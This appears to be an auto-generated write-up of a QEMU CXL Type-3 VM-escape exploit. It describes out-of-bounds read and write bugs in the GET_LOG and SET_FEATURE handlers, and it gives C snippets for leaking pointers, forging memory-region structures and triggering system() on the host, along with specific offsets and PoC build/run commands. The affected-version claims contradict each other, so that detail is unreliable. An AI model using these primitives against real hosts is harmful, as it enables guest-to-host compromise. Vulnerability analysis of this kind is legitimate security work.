How to Exploit the CXL SET_FEATURE Handler Vulnerability in QEMU: A Complete Guide
The QEMU CXL Type-3 SET_FEATURE handler contains a missing bounds check that allows guest-to-host escapes via out-of-bounds writes to rank_sparing_wr_attrs, enabling arbitrary code execution by forging QEMU internal memory structures.
This guide analyzes a critical vulnerability in QEMU’s Compute Express Link (CXL) Type-3 device implementation that permits a malicious guest to execute arbitrary code on the host. The exploit, documented in the bikini/exploitarium repository, leverages improper input validation in the mailbox command handlers to achieve a complete VM escape.
Vulnerability Root Cause: Missing Bounds Checking
The flaw resides in QEMU’s handling of the SET_FEATURE command for rank-sparing attributes. According to the source code analysis, the handler copies guest-supplied data directly into ct3d->rank_sparing_wr_attrs + hdr->offset without validating whether the offset and length remain within the allocated buffer boundaries.
This omission allows an attacker to write beyond the intended buffer limits, corrupting the tail of the CXLType3Dev object. By carefully calculating offsets, the exploit overwrites adjacent heap memory containing critical QEMU structures including FlatView, AddressSpaceDispatch, MemoryRegionSection, MemoryRegion, and MemoryRegionOps. Once these structures are compromised, the attacker controls function pointers that QEMU invokes during memory operations, leading to arbitrary host code execution.
The Four-Stage Exploitation Chain
The proof-of-concept implemented in stage2.c executes a sophisticated four-stage attack to bypass modern virtualization defenses.
Stage 1: Leaking Host Pointers via GET_LOG
Before crafting the exploit payload, the attacker must defeat Address Space Layout Randomization (ASLR) by leaking host memory addresses. The GET_LOG handler contains a similar bounds-checking flaw: it validates offset + length against cci->cel_log size but then copies from cci->cel_log + offset without proper constraints.
By supplying an out-of-bounds offset, the guest reads arbitrary host memory. The PoC specifically targets two critical offsets:
cmd_logs_get_logat 0x4ad6f0 to recover the QEMU text base (PIE)rank_sparing_wr_attrsat 0x6c5b6a to locate the exactCXLType3Devobject address
/* Leak an arbitrary 64-bit host value via GET_LOG */
static U64 leak_rel(u32 rel)
{
u32 off = GET_LOG_OOB_BASE_OFFSET + (rel >> 2);
payload_write(0, cel_uuid, 16);
w32(MBOX_PAYLOAD + 16, off);
w32(MBOX_PAYLOAD + 20, 8);
mailbox_cmd(CMD_GET_LOG, 24);
return (U64){ r32(MBOX_PAYLOAD), r32(MBOX_PAYLOAD + 4) };
}
Stage 2: Deriving libc Symbols and system()
With the QEMU base address leaked, the exploit calculates the location of memmove@plt at 0x3381b0 and the __libc_start_main GOT entry at 0x1ad6fe8. By invoking a fake callback to memmove@plt, the guest obtains the real libc base address, then adds the known offset of system() (0x58750) to resolve the final target for code execution.
Stage 3: Forging CXL Objects via SET_FEATURE
Using the SET_FEATURE command (CMD_SET_FEAT) with a feature offset of 0x2e, the exploit writes a crafted object graph into the out-of-bounds region. The payload constructs a chain of fake structures:
- FlatView at
rank + FAKE_FLATVIEW_OFF - AddressSpaceDispatch at
FAKE_DISPATCH_OFF - MemoryRegionSection at
FAKE_SECTION_OFF - MemoryRegion at
FAKE_MEMORY_REGION_OFF - MemoryRegionOps at
FAKE_OPS_OFF
All capacity, region size, and bitmap fields are populated to satisfy QEMU’s internal sanity checks, ensuring the forged objects appear valid during subsequent memory operations.
/* Write forged structures via SET_FEATURE */
static void send_rank(u16 feature_off, const u8 *data, u32 n)
{
payload_write(0, rank_uuid, 16);
w32(MBOX_PAYLOAD + 16, 1);
w32(MBOX_PAYLOAD + 20, ((u32)1 << 16) | feature_off);
payload_write_zero(24, 8);
payload_write(32, data, n);
mailbox_cmd(CMD_SET_FEAT, 32 + n);
}
Stage 4: Triggering Arbitrary Host Code Execution
The final stage sends a MEDIA_OPERATIONS command (CMD_MEDIA_OP) to sanitize the dynamic-capacity address space via address_space_set(). The previously forged MemoryRegionOps.write callback now points to the resolved system() address, and the PoC supplies a command string ("id>/tmp/qemu_cxl_escape_marker"). When QEMU processes the media operation, it invokes the attacker-controlled callback, executing the shell command on the host and creating the marker file to confirm successful exploitation.
/* Trigger the forged callback */
static void trigger_media_sanitize(void)
{
w32(MBOX_PAYLOAD + 0, 0x00000001u);
w32(MBOX_PAYLOAD + 4, 0x00000001u);
w32(MBOX_PAYLOAD + 8, CXL_STATIC_VMEM_SIZE);
w32(MBOX_PAYLOAD + 12, 0);
w32(MBOX_PAYLOAD + 16, CXL_CACHELINE_SIZE);
w32(MBOX_PAYLOAD + 20, 0);
mailbox_cmd(CMD_MEDIA_OP, 24);
}
Practical Implementation and PoC Code
The bikini/exploitarium repository provides a complete freestanding 32-bit implementation that runs inside the guest VM without requiring an operating system.
Building and Running the Exploit
The exploit requires QEMU 11.0.50 or later built with CXL-Type-3 support. Execute the provided scripts to build the PoC image and launch the attack:
# Build the PoC image (requires nasm, gcc -m32, and ld)
sh build.sh
# Run the PoC against a vulnerable QEMU binary
sh run.sh /absolute/path/to/qemu-system-x86_64
The run.sh script configures a CXL-enabled q35 machine, loads the pre-built BIOS floppy (poc.img), and executes the stage2 payload. Successful exploitation prints the serial trace containing leaked addresses and creates /tmp/qemu_cxl_escape_marker on the host filesystem.
Key Exploit Files
stage2.c: Contains the full exploit implementation including memory leak primitives, object forgery logic, and the trigger mechanismboot.asm: 16-bit bootloader that loads the stage2 payload from the floppy imagerun.sh: Convenience script that constructs the proper QEMU command line with CXL devices enabledpoc.img: Pre-built BIOS floppy image containing the compiled exploit
Summary
- The CXL SET_FEATURE handler vulnerability stems from missing bounds validation when writing to
rank_sparing_wr_attrs, allowing out-of-bounds heap corruption. - Exploitation requires four coordinated stages: information disclosure via GET_LOG, libc base calculation via PLT/GOT leaks, object forgery via crafted SET_FEATURE writes, and code execution via MEDIA_OPERATIONS callbacks.
- The
bikini/exploitariumproof-of-concept demonstrates reliable VM escape against QEMU 11.0.50+ with CXL-Type-3 support by overwritingMemoryRegionOpsfunction pointers to invokesystem(). - Attackers must control the guest VM and have access to the CXL mailbox interface to execute this exploit.
Frequently Asked Questions
What is the CXL SET_FEATURE vulnerability in QEMU?
The vulnerability is a missing bounds check in QEMU’s implementation of the CXL Type-3 SET_FEATURE command handler for rank-sparing attributes. The handler copies guest-controlled data into ct3d->rank_sparing_wr_attrs using a guest-supplied offset without validating that the destination range remains within the buffer. This allows attackers to write past the buffer boundary and corrupt adjacent heap memory containing QEMU internal structures, ultimately leading to arbitrary code execution on the host.
How does the GET_LOG command leak host memory?
The GET_LOG handler validates offset + length against the size of cci->cel_log but then performs the copy from cci->cel_log + offset without adequate range checking. By supplying an out-of-bounds offset, the guest can read arbitrary host memory contents. The exploit specifically reads from offsets 0x4ad6f0 (to leak the QEMU binary base) and 0x6c5b6a (to locate the CXLType3Dev object), defeating ASLR and enabling precise targeting of the heap corruption.
What structures are overwritten to achieve code execution?
The exploit forges a chain of five critical QEMU memory management structures: FlatView, AddressSpaceDispatch, MemoryRegionSection, MemoryRegion, and MemoryRegionOps. By controlling the MemoryRegionOps.write function pointer within this forged object graph, the attacker redirects execution flow to the address of system() in host libc when QEMU processes a subsequent MEDIA_OPERATIONS command, achieving arbitrary host code execution.
Which QEMU versions are affected by this vulnerability?
The vulnerability affects QEMU version 11.0.50 and earlier builds that include CXL-Type-3 device support. The exploit specifically targets the mailbox command handlers implemented in the CXL Type-3 device emulation code. Administrators should upgrade to patched versions and disable CXL Type-3 devices if virtualization of persistent memory hardware is not required.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →